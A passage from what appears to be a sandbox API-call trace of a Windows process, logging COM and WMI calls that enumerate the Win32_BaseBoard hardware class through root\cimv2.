(in: pToken=0x3cea50 | out: pToken=0x3cea50) returned 0x0 [0188.678] CoGetContextToken (in: pToken=0x3cea10 | out: pToken=0x3cea10) returned 0x0 [0188.678] IUnknown:AddRef (This=0x5d46f8) returned 0x2 [0188.678] IUnknown:QueryInterface (in: This=0x5d46f8, riid=0x3cea8c*(Data1=0xf, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cea88 | out: ppvObject=0x3cea88*=0x5d46f8) returned 0x0 [0188.678] IUnknown:Release (This=0x5d46f8) returned 0x2 [0188.678] IUnknown:AddRef (This=0x5d46f8) returned 0x3 [0188.678] BindMoniker (in: pmk=0x5d46f8, grfOpt=0x0, iidResult=0x25f6944*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvResult=0x3cee60 | out: ppvResult=0x3cee60*=0x573c898) returned 0x0 [0188.678] IUnknown:QueryInterface (in: This=0x573c898, riid=0x25f6944*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cee60 | out: ppvObject=0x3cee60*=0x573c898) returned 0x0 [0188.689] LoadRegTypeLib (in: rguid=0x740c364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x3ce588*=0x0 | out: pptlib=0x3ce588*=0x5de508) returned 0x0 [0188.728] ITypeLib:GetTypeInfoOfGuid (in: This=0x5de508, guid=0x573c8dc, ppTInfo=0x573c8c4 | out: ppTInfo=0x573c8c4*=0x5dff5c) returned 0x0 [0188.728] IUnknown:Release (This=0x5de508) returned 0x1 [0188.728] IUnknown:AddRef (This=0x5dff5c) returned 0x2 [0188.728] ITypeInfo:RemoteGetTypeAttr (in: This=0x5dff5c, ppTypeAttr=0x3ce5cc, pDummy=0x324abded | out: ppTypeAttr=0x3ce5cc, pDummy=0x324abded) returned 0x0 [0188.736] ITypeInfo:LocalReleaseTypeAttr (This=0x5dff5c) returned 0x5d8e78 [0188.736] IUnknown:Release (This=0x5dff5c) returned 0x1 [0188.736] CoGetContextToken (in: pToken=0x3ce558 | out: pToken=0x3ce558) returned 0x0 [0188.736] CoGetContextToken (in: pToken=0x3ce51c | out: pToken=0x3ce51c) returned 0x0 [0188.736] IUnknown:QueryInterface (in: This=0x5992f0, riid=0x744e3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce550 | out: ppvObject=0x3ce550*=0x5992fc) returned 0x0 [0188.737] IComThreadingInfo:GetCurrentApartmentType (in: This=0x5992fc, pAptType=0x3ce580 | out: pAptType=0x3ce580*=3) returned 0x0 [0188.737] IUnknown:Release (This=0x5992fc) returned 0x1 [0188.737] CoGetContextToken (in: pToken=0x3ce550 | out: pToken=0x3ce550) returned 0x0 [0188.737] IUnknown:Release (This=0x5d46f8) returned 0x2 [0188.761] CoGetContextToken (in: pToken=0x3cea88 | out: pToken=0x3cea88) returned 0x0 [0188.761] LoadRegTypeLib (in: rguid=0x740c364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x3cea84*=0x0 | out: pptlib=0x3cea84*=0x5de508) returned 0x0 [0188.763] ITypeLib:GetTypeInfoOfGuid (in: This=0x5de508, guid=0x573c8cc, ppTInfo=0x573c8c0 | out: ppTInfo=0x573c8c0*=0x5dff88) returned 0x0 [0188.763] IUnknown:Release (This=0x5de508) returned 0x2 [0188.763] IUnknown:AddRef (This=0x5dff88) returned 0x2 [0188.764] DispGetIDsOfNames (in: ptinfo=0x5dff88, rgszNames=0x3ceae0*="InstancesOf", cNames=0x1, rgdispid=0x3cead0 | out: rgdispid=0x3cead0*=5) returned 0x0 [0188.765] IUnknown:Release (This=0x5dff88) returned 0x1 [0188.766] IUnknown:AddRef (This=0x5dff88) returned 0x2 [0188.766] ITypeInfo:LocalInvoke (This=0x5dff88) returned 0x0 [0188.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0188.766] GetCurrentThreadId () returned 0x55c [0188.766] WbemLocator:IUnknown:AddRef (This=0x573d304) returned 0x3 [0188.766] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0188.766] GetCurrentThreadId () returned 0x55c [0188.766] IWbemServices:CreateInstanceEnum (in: This=0x573d304, strFilter="Win32_BaseBoard", lFlags=16, pCtx=0x0, ppEnum=0x3ce72c | out: ppEnum=0x3ce72c*=0x57308dc) returned 0x0 [0188.790] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5730918 [0188.790] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5730978 [0188.790] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x573d378 [0188.790] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x573c9a8 [0188.790] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x573d3d8 [0188.791] IUnknown:QueryInterface (in: This=0x57308dc, riid=0x740c31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce644 | out: ppvObject=0x3ce644*=0x57308e0) returned 0x0 [0188.791] IClientSecurity:QueryBlanket (in: This=0x57308e0, pProxy=0x57308dc, pAuthnSvc=0x3ce634, pAuthzSvc=0x3ce638, pServerPrincName=0x0, pAuthnLevel=0x3ce660, pImpLevel=0x3ce65c, pAuthInfo=0x0, pCapabilites=0x3ce64c | out: pAuthnSvc=0x3ce634*=0xa, pAuthzSvc=0x3ce638*=0x0, pServerPrincName=0x0, pAuthnLevel=0x3ce660*=0x6, pImpLevel=0x3ce65c*=0x2, pAuthInfo=0x0, pCapabilites=0x3ce64c*=0x1) returned 0x0 [0188.791] IUnknown:Release (This=0x57308e0) returned 0x1 [0188.791] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0188.791] GetCurrentThreadId () returned 0x55c [0188.791] WbemLocator:IUnknown:QueryInterface (in: This=0x573d304, riid=0x740c31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce628 | out: ppvObject=0x3ce628*=0x5d891c) returned 0x0 [0188.791] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x5d891c, pProxy=0x573d304, pAuthnSvc=0x3ce618, pAuthzSvc=0x3ce61c, pServerPrincName=0x0, pAuthnLevel=0x3ce648, pImpLevel=0x3ce64c, pAuthInfo=0x0, pCapabilites=0x3ce630 | out: pAuthnSvc=0x3ce618*=0xa, pAuthzSvc=0x3ce61c*=0x0, pServerPrincName=0x0, pAuthnLevel=0x3ce648*=0x6, pImpLevel=0x3ce64c*=0x3, pAuthInfo=0x0, pCapabilites=0x3ce630*=0x20) returned 0x0 [0188.791] WbemLocator:IUnknown:Release (This=0x5d891c) returned 0x3 [0188.791] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0188.791] GetCurrentThreadId () returned 0x55c [0188.791] WbemLocator:IUnknown:QueryInterface (in: This=0x573d304, riid=0x740c31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce628 | out: ppvObject=0x3ce628*=0x5d891c) returned 0x0 [0188.791] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x5d891c, pProxy=0x573d304, pAuthnSvc=0x3ce618, pAuthzSvc=0x3ce61c, pServerPrincName=0x0, pAuthnLevel=0x3ce64c, pImpLevel=0x3ce648, pAuthInfo=0x0, pCapabilites=0x3ce630 | out: pAuthnSvc=0x3ce618*=0xa, pAuthzSvc=0x3ce61c*=0x0, pServerPrincName=0x0, pAuthnLevel=0x3ce64c*=0x6, pImpLevel=0x3ce648*=0x3, pAuthInfo=0x0, pCapabilites=0x3ce630*=0x20) returned 0x0 [0188.791] WbemLocator:IUnknown:Release (This=0x5d891c) returned 0x3 [0188.791] IUnknown:QueryInterface (in: This=0x57308dc, riid=0x740c31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce674 | out: ppvObject=0x3ce674*=0x57308e0) returned 0x0 [0188.791] IClientSecurity:CopyProxy (in: This=0x57308e0, pProxy=0x57308dc, ppCopy=0x3ce678 | out: ppCopy=0x3ce678*=0x573d51c) returned 0x0 [0188.791] IUnknown:QueryInterface (in: This=0x573d51c, riid=0x740c31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce590 | out: ppvObject=0x3ce590*=0x573d520) returned 0x0 [0188.791] IClientSecurity:QueryBlanket (in: This=0x573d520, pProxy=0x573d51c, pAuthnSvc=0x3ce5b4, pAuthzSvc=0x3ce5a4, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x3ce5b4*=0xa, pAuthzSvc=0x3ce5a4*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0188.791] IUnknown:Release (This=0x573d520) returned 0x3 [0188.791] IUnknown:QueryInterface (in: This=0x573d51c, riid=0x740c34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce568 | out: ppvObject=0x3ce568*=0x5e0e3c) returned 0x0 [0188.791] IUnknown:QueryInterface (in: This=0x573d51c, riid=0x740c31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce56c | out: ppvObject=0x3ce56c*=0x573d520) returned 0x0 [0188.791] IClientSecurity:SetBlanket (This=0x573d520, pProxy=0x573d51c, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0188.821] IUnknown:Release (This=0x573d520) returned 0x4 [0188.821] WbemLocator:IUnknown:Release (This=0x5e0e3c) returned 0x3 [0188.821] IUnknown:Release (This=0x57308e0) returned 0x2 [0188.821] IUnknown:AddRef (This=0x573d51c) returned 0x3 [0188.821] IUnknown:Release (This=0x57308dc) returned 0x2 [0188.821] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x3ce6e4 | out: pperrinfo=0x3ce6e4*=0x0) returned 0x1 [0188.821] WbemLocator:IUnknown:Release (This=0x573d304) returned 0x2 [0188.821] IUnknown:Release (This=0x5dff88) returned 0x1 [0188.823] LoadRegTypeLib (in: rguid=0x740c364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x3ce380*=0x0 | out: pptlib=0x3ce380*=0x5de508) returned 0x0 [0188.825] ITypeLib:GetTypeInfoOfGuid (in: This=0x5de508, guid=0x5730950, ppTInfo=0x5730938 | out: ppTInfo=0x5730938*=0x5e0090) returned 0x0 [0188.825] IUnknown:Release (This=0x5de508) returned 0x3 [0188.825] IUnknown:AddRef (This=0x5e0090) returned 0x2 [0188.825] ITypeInfo:RemoteGetTypeAttr (in: This=0x5e0090, ppTypeAttr=0x3ce3c4, pDummy=0x324abbe5 | out: ppTypeAttr=0x3ce3c4, pDummy=0x324abbe5) returned 0x0 [0188.825] ITypeInfo:LocalReleaseTypeAttr (This=0x5e0090) returned 0x5d8e78 [0188.826] IUnknown:Release (This=0x5e0090) returned 0x1 [0188.826] CoGetContextToken (in: pToken=0x3ce350 | out: pToken=0x3ce350) returned 0x0 [0188.826] CoGetContextToken (in: pToken=0x3ce314 | out: pToken=0x3ce314) returned 0x0 [0188.826] IUnknown:QueryInterface (in: This=0x5992f0, riid=0x744e3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce348 | out: ppvObject=0x3ce348*=0x5992fc) returned 0x0 [0188.826] IComThreadingInfo:GetCurrentApartmentType (in: This=0x5992fc, pAptType=0x3ce378 | out: pAptType=0x3ce378*=3) returned 0x0 [0188.826] IUnknown:Release (This=0x5992fc) returned 0x1 [0188.826] CoGetContextToken (in: pToken=0x3ce348 | out: pToken=0x3ce348) returned 0x0 [0188.828] CoGetContextToken (in: pToken=0x3ced18 | out: pToken=0x3ced18) returned 0x0 [0188.828] CoGetContextToken (in: pToken=0x3cecd8 | out: pToken=0x3cecd8) returned 0x0 [0188.828] CoGetContextToken (in: pToken=0x3ced60 | out: pToken=0x3ced60) returned 0x0 [0188.829] LoadRegTypeLib (in: rguid=0x740c364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x400, pptlib=0x3ced60*=0x0 | out: pptlib=0x3ced60*=0x5de508) returned 0x0 [0188.831] ITypeLib:GetTypeInfoOfGuid (in: This=0x5de508, guid=0x5730940, ppTInfo=0x5730934 | out: ppTInfo=0x5730934*=0x5e0038) returned 0x0 [0188.831] IUnknown:Release (This=0x5de508) returned 0x4 [0188.831] IUnknown:AddRef (This=0x5e0038) returned 0x2 [0188.831] ITypeInfo:LocalInvoke (This=0x5e0038) returned 0x0 [0188.831] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0188.831] GetCurrentThreadId () returned 0x55c [0188.831] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5730810 [0188.831] IUnknown:Release (This=0x5e0038) returned 0x1 [0188.831] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0189.209] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x5b8f48 [0189.209] GetLastError () returned 0x0 [0189.210] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x5b8fd0 [0189.210] GetLastError () returned 0x0 [0189.224] CoGetContextToken (in: pToken=0x3cec20 | out: pToken=0x3cec20) returned 0x0 [0189.233] CoGetContextToken (in: pToken=0x3ce848 | out: pToken=0x3ce848) returned 0x0 [0189.234] IUnknown:AddRef (This=0x5e0038) returned 0x2 [0189.234] ITypeInfo:LocalInvoke (This=0x5e0038) returned 0x0 [0189.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.234] GetCurrentThreadId () returned 0x55c [0189.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.234] GetCurrentThreadId () returned 0x55c [0189.234] IUnknown:AddRef (This=0x573d51c) returned 0x3 [0189.234] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.234] GetCurrentThreadId () returned 0x55c [0189.234] IEnumWbemClassObject:Clone (in: This=0x573d51c, ppEnum=0x3ce838 | out: ppEnum=0x3ce838*=0x573d5e4) returned 0x0 [0189.235] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x573d620 [0189.235] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x573d680 [0189.235] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x573d6e0 [0189.235] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x573c988 [0189.235] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x573d740 [0189.236] IUnknown:QueryInterface (in: This=0x573d5e4, riid=0x740c31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce750 | out: ppvObject=0x3ce750*=0x573d5e8) returned 0x0 [0189.236] IClientSecurity:QueryBlanket (in: This=0x573d5e8, pProxy=0x573d5e4, pAuthnSvc=0x3ce740, pAuthzSvc=0x3ce744, pServerPrincName=0x0, pAuthnLevel=0x3ce76c, pImpLevel=0x3ce768, pAuthInfo=0x0, pCapabilites=0x3ce758 | out: pAuthnSvc=0x3ce740*=0xa, pAuthzSvc=0x3ce744*=0x0, pServerPrincName=0x0, pAuthnLevel=0x3ce76c*=0x6, pImpLevel=0x3ce768*=0x2, pAuthInfo=0x0, pCapabilites=0x3ce758*=0x1) returned 0x0 [0189.236] IUnknown:Release (This=0x573d5e8) returned 0x1 [0189.236] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.236] GetCurrentThreadId () returned 0x55c [0189.236] IUnknown:QueryInterface (in: This=0x573d51c, riid=0x740c31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce734 | out: ppvObject=0x3ce734*=0x573d520) returned 0x0 [0189.236] IClientSecurity:QueryBlanket (in: This=0x573d520, pProxy=0x573d51c, pAuthnSvc=0x3ce724, pAuthzSvc=0x3ce728, pServerPrincName=0x0, pAuthnLevel=0x3ce754, pImpLevel=0x3ce758, pAuthInfo=0x0, pCapabilites=0x3ce73c | out: pAuthnSvc=0x3ce724*=0xa, pAuthzSvc=0x3ce728*=0x0, pServerPrincName=0x0, pAuthnLevel=0x3ce754*=0x6, pImpLevel=0x3ce758*=0x3, pAuthInfo=0x0, pCapabilites=0x3ce73c*=0x20) returned 0x0 [0189.236] IUnknown:Release (This=0x573d520) returned 0x3 [0189.236] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.236] GetCurrentThreadId () returned 0x55c [0189.236] IUnknown:QueryInterface (in: This=0x573d51c, riid=0x740c31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce734 | out: ppvObject=0x3ce734*=0x573d520) returned 0x0 [0189.236] IClientSecurity:QueryBlanket (in: This=0x573d520, pProxy=0x573d51c, pAuthnSvc=0x3ce724, pAuthzSvc=0x3ce728, pServerPrincName=0x0, pAuthnLevel=0x3ce758, pImpLevel=0x3ce754, pAuthInfo=0x0, pCapabilites=0x3ce73c | out: pAuthnSvc=0x3ce724*=0xa, pAuthzSvc=0x3ce728*=0x0, pServerPrincName=0x0, pAuthnLevel=0x3ce758*=0x6, pImpLevel=0x3ce754*=0x3, pAuthInfo=0x0, pCapabilites=0x3ce73c*=0x20) returned 0x0 [0189.236] IUnknown:Release (This=0x573d520) returned 0x3 [0189.236] IUnknown:QueryInterface (in: This=0x573d5e4, riid=0x740c31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce780 | out: ppvObject=0x3ce780*=0x573d5e8) returned 0x0 [0189.236] IClientSecurity:CopyProxy (in: This=0x573d5e8, pProxy=0x573d5e4, ppCopy=0x3ce784 | out: ppCopy=0x3ce784*=0x573d884) returned 0x0 [0189.236] IUnknown:QueryInterface (in: This=0x573d884, riid=0x740c31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce69c | out: ppvObject=0x3ce69c*=0x573d888) returned 0x0 [0189.236] IClientSecurity:QueryBlanket (in: This=0x573d888, pProxy=0x573d884, pAuthnSvc=0x3ce6c0, pAuthzSvc=0x3ce6b0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x3ce6c0*=0xa, pAuthzSvc=0x3ce6b0*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0189.236] IUnknown:Release (This=0x573d888) returned 0x3 [0189.236] IUnknown:QueryInterface (in: This=0x573d884, riid=0x740c34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce674 | out: ppvObject=0x3ce674*=0x5e512c) returned 0x0 [0189.236] IUnknown:QueryInterface (in: This=0x573d884, riid=0x740c31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce678 | out: ppvObject=0x3ce678*=0x573d888) returned 0x0 [0189.236] IClientSecurity:SetBlanket (This=0x573d888, pProxy=0x573d884, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0189.238] IUnknown:Release (This=0x573d888) returned 0x4 [0189.238] WbemLocator:IUnknown:Release (This=0x5e512c) returned 0x3 [0189.238] IUnknown:Release (This=0x573d5e8) returned 0x2 [0189.238] IUnknown:AddRef (This=0x573d884) returned 0x3 [0189.238] IUnknown:Release (This=0x573d5e4) returned 0x2 [0189.238] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x3ce7f0 | out: pperrinfo=0x3ce7f0*=0x0) returned 0x1 [0189.238] IUnknown:Release (This=0x573d51c) returned 0x2 [0189.238] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.238] GetCurrentThreadId () returned 0x55c [0189.239] IUnknown:AddRef (This=0x573d884) returned 0x3 [0189.239] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.239] GetCurrentThreadId () returned 0x55c [0189.239] IEnumWbemClassObject:Reset (This=0x573d884) returned 0x0 [0189.239] IUnknown:Release (This=0x573d884) returned 0x2 [0189.239] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x5730810 [0189.239] IUnknown:Release (This=0x5e0038) returned 0x1 [0189.241] CoGetContextToken (in: pToken=0x3ce2b0 | out: pToken=0x3ce2b0) returned 0x0 [0189.241] CoGetContextToken (in: pToken=0x3ce274 | out: pToken=0x3ce274) returned 0x0 [0189.241] IUnknown:QueryInterface (in: This=0x5992f0, riid=0x744e3ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3ce2a8 | out: ppvObject=0x3ce2a8*=0x5992fc) returned 0x0 [0189.241] IComThreadingInfo:GetCurrentApartmentType (in: This=0x5992fc, pAptType=0x3ce2d8 | out: pAptType=0x3ce2d8*=3) returned 0x0 [0189.241] IUnknown:Release (This=0x5992fc) returned 0x1 [0189.241] CoGetContextToken (in: pToken=0x3ce2a8 | out: pToken=0x3ce2a8) returned 0x0 [0189.244] CoGetContextToken (in: pToken=0x3ced60 | out: pToken=0x3ced60) returned 0x0 [0189.244] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.244] GetCurrentThreadId () returned 0x55c [0189.244] IUnknown:AddRef (This=0x573d884) returned 0x3 [0189.244] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0189.244] GetCurrentThreadId () returned 0x55c [0189.244] IEnumWbemClassObject:Next (in: This=0x573d884, lTimeout=-1, uCount=0x1, apObjects=0x3cee98, puReturned=0x3cee90 | out: apObjects=0x3cee98*=0x573d8c0, puReturned=0x3cee90*=0x1) returned 0x0 [0189.247] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x573c908 [0189.247] IUnknown:AddRef (This=0x573d8c0) returned 0x2 [0189.247] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x573fbd0 [0189.247] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x573fc40 [0189.247] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x573fca0 [0189.247] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x573c9c8 [0189.247] WbemLocator:IUnknown:AddRef (This=0x573d304) returned 0x3 [0189.247] IUnknown:AddRef (This=0x573d884) returned 0x4 [0189.247] IUnknown:QueryInterface (in: This=0x573d884, riid=0x740c31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x3cedf8 | out: ppvObject=0x3cedf8*=0x573d888) returned 0x0 [0189.247] IClientSecurity:QueryBlanket (in: This=0x573d888, pProxy=0x573d884, pAuthnSvc=0x3cede8, pAuthzSvc=0x3cedec, pServerPrincName=0x0, pAuthnLevel=0x3cee08, pImpLevel=0x3cee14, pAuthInfo=0x0, pCapabilites=0x3cee00 | out: pAuthnSvc=0x3cede8*=0xa, pAuthzSvc=0x3cedec*=0x0, pServerPrincName=0x0, pAuthnLevel=0x3cee08*=0x6, pImpLevel=0x3cee14*=0x3, pAuthInfo=0x0, pCapabilites=0x3cee00*=0x20) returned 0x0 [0189.247] IUnknown:Release (This=0x573d888) returned 0x4 [0189.247] WbemLocator:IUnknown:Release (This=0x573d304) returned 0x2 [0189.247] WbemLocator:IUnknown:AddRef (This=0x573d304) returned 0x3 [0189.247] IUnknown:Release (This=0x573d884) returned 0x3 [0189.247] SysStringLen (param_1="\\\\.\\root\\cimv2") returned 0xe [0189.247] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x573bd98 [0189.247] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x573c9e8 [0189.247] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x57309d8 [0189.247] IUnknown:AddRef (This=0x573d8c0) returned 0x3 [0189.247] IUnknown:Release (This=0x573d8c0) returned 0x2 [0189.247] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x3cee4c | out: pperrinfo=0x3cee4c*=0x0) returned 0x1 [0189.247] IUnknown:Release (This=0x573d884) returned 0x2 [0189.247] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x3cee90 | out: pperrinfo=0x3cee90*=0x0) returned 0x1 [0189.249] LoadRegTypeLib (in: rguid=0x740c364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x3ce700*=0x0 | out: pptlib=0x3ce700*=0x5de508) returned 0x0 [0189.251] ITypeLib:GetTypeInfoOfGuid (in: This=0x5de508, guid=0x740d70c4, ppTInfo=0x573bdb4 | out: ppTInfo=0x573bdb4*=0x5e00bc) returned 0x0 [0189.251] IUnknown:Release (This=0x5de508) returned 0x5 [0189.251] IUnknown:AddRef (This=0x5e00bc) returned 0x2 [0189.251] ITypeInfo:RemoteGetTypeAttr (in: This=0x5e00bc, ppTypeAttr=0x3ce754, pDummy=0x324abf55 | out: ppTypeAttr=0x3ce754, pDummy=0x324abf55) returned 0x0 [0189.251] ITypeInfo:LocalReleaseTypeAttr (This=0x5e00bc) returned 0x5d8e78 [0189.251] IUnknown:Release (This=0x5e00bc) returned 0x1 [0189.252] CoGetContextToken (in: pToken=0x3ce6e0 | out: pToken=0x3ce6e0) returned 0x0 [0189.252] CoGetContextToken (in: pToken=0x3ce6a4 | out: pToken=0x3ce6a4) returned 0x0 [0189.252] IUnknown:QueryInterface (in: This=0x5992f0, riid=0x744e3ff0*(Data1=0x1ce, Data2=0x0, 